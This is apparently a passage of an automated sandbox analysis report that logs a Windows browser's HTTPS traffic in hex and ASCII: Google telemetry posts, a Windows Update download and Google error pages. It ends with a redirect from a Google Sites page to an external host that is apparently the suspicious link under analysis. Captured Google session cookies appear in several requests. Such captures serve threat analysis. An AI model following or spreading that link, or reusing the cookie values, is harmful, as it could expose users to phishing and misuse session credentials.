2024-11-25 04:58:27 UTC	1390	IN	Data Raw: 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e Data Ascii: c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.n
2024-11-25 04:58:27 UTC	1390	IN	Data Raw: 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6d 61 Data Ascii: ;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49777	172.217.19.238	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:28 UTC	1012	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4140 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 X-Goog-AuthUser: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://sites.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
2024-11-25 04:58:28 UTC	4140	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 2d 55 53 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 32 30 33 33 2c 5b 5b 22 31 37 33 32 35 31 30 37 30 33 31 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 5b 5b 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 37 33 32 35 31 30 37 30 33 31 35 38 30 30 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 31 37 33 32 35 31 30 37 30 33 31 35 38 30 30 30 5d 2c 6e 75 6c 6c 2c 31 5d 2c 6e 75 6c 6c 2c 37 31 36 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en-US",null,null,null,null,[4,0,0,0,0]]],2033,[["1732510703160",null,null,null,null,null,null,"[[[null,null,1,1732510703158000,null,null,null,[[1732510703158000],null,1],null,716,null,
2024-11-25 04:58:29 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://sites.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=kDK6qfujgG9s_UsOyotTtacHhhQNkJbtH5MbMWYK7FTK2HaQejfi_hbyclrbDKJqNH0VZhMizergvWfgXBgL6TgTxACWsI8eYvYSkzBVkB6IL9Gm8HMNhsmO1u9s7AU_Kzv-_SOpvBLU0DfT2PN9_VSczQtj_EBQiAINsalEiVnkRv8LiU5LVKppZMOaXBE; expires=Tue, 27-May-2025 04:58:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 25 Nov 2024 04:58:29 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 25 Nov 2024 04:58:29 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-25 04:58:29 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-25 04:58:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49776	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AT32BAhKSMEWEh4&MD=lSB9zO++ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 04:58:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2d62963f-7c71-481c-a180-bf34e445680f MS-RequestId: f69b2cff-487b-453c-b994-fcb156540297 MS-CV: plgrravjSUKSSaqR.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 04:58:28 GMT Connection: close Content-Length: 24490
2024-11-25 04:58:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 04:58:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49779	172.217.19.238	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:29 UTC	1012	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 5219 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 X-Goog-AuthUser: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://sites.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
2024-11-25 04:58:29 UTC	5219	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 2d 55 53 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 32 30 33 33 2c 5b 5b 22 31 37 33 32 35 31 30 37 30 36 35 34 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en-US",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],2033,[["1732510706541",null,null,n
2024-11-25 04:58:29 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://sites.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=WzIgkkcHcAI7zahTZmGPomRXm0sC0hp5tD5DbsAweb6P-MOuUUAI565SH0LAq5-kRbf3Jfs0MXHyk3yu8yG1TXg7MRBUSjrtX17rWYm4mSDAkE-b1kSmI9bpH4tYoIx4qOe6CCRk-LMCzzUoJCOFji2qdeK-SZieseS2IXBnXb2gvNmo_thUD7mqA3h46HM; expires=Tue, 27-May-2025 04:58:29 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 25 Nov 2024 04:58:29 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 25 Nov 2024 04:58:29 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-25 04:58:29 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-25 04:58:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49784	172.217.19.206	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:31 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=kDK6qfujgG9s_UsOyotTtacHhhQNkJbtH5MbMWYK7FTK2HaQejfi_hbyclrbDKJqNH0VZhMizergvWfgXBgL6TgTxACWsI8eYvYSkzBVkB6IL9Gm8HMNhsmO1u9s7AU_Kzv-_SOpvBLU0DfT2PN9_VSczQtj_EBQiAINsalEiVnkRv8LiU5LVKppZMOaXBE
2024-11-25 04:58:32 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 25 Nov 2024 04:58:31 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:32 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-25 04:58:32 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49789	172.217.19.206	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:33 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=WzIgkkcHcAI7zahTZmGPomRXm0sC0hp5tD5DbsAweb6P-MOuUUAI565SH0LAq5-kRbf3Jfs0MXHyk3yu8yG1TXg7MRBUSjrtX17rWYm4mSDAkE-b1kSmI9bpH4tYoIx4qOe6CCRk-LMCzzUoJCOFji2qdeK-SZieseS2IXBnXb2gvNmo_thUD7mqA3h46HM
2024-11-25 04:58:34 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 25 Nov 2024 04:58:34 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:34 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-25 04:58:34 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49792	142.250.181.68	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:35 UTC	1146	OUT	GET /url?q=https%3A%2F%2Fzx.valcondunar.com%2Fb3k54%2F&sa=D&sntz=1&usg=AOvVaw3iXtykVLTRndaG0sFMkhhS HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=WzIgkkcHcAI7zahTZmGPomRXm0sC0hp5tD5DbsAweb6P-MOuUUAI565SH0LAq5-kRbf3Jfs0MXHyk3yu8yG1TXg7MRBUSjrtX17rWYm4mSDAkE-b1kSmI9bpH4tYoIx4qOe6CCRk-LMCzzUoJCOFji2qdeK-SZieseS2IXBnXb2gvNmo_thUD7mqA3h46HM
2024-11-25 04:58:36 UTC	372	IN	HTTP/1.1 200 OK Location: https://zx.valcondunar.com/b3k54/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Date: Mon, 25 Nov 2024 04:58:36 GMT Server: gws Content-Length: 355 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
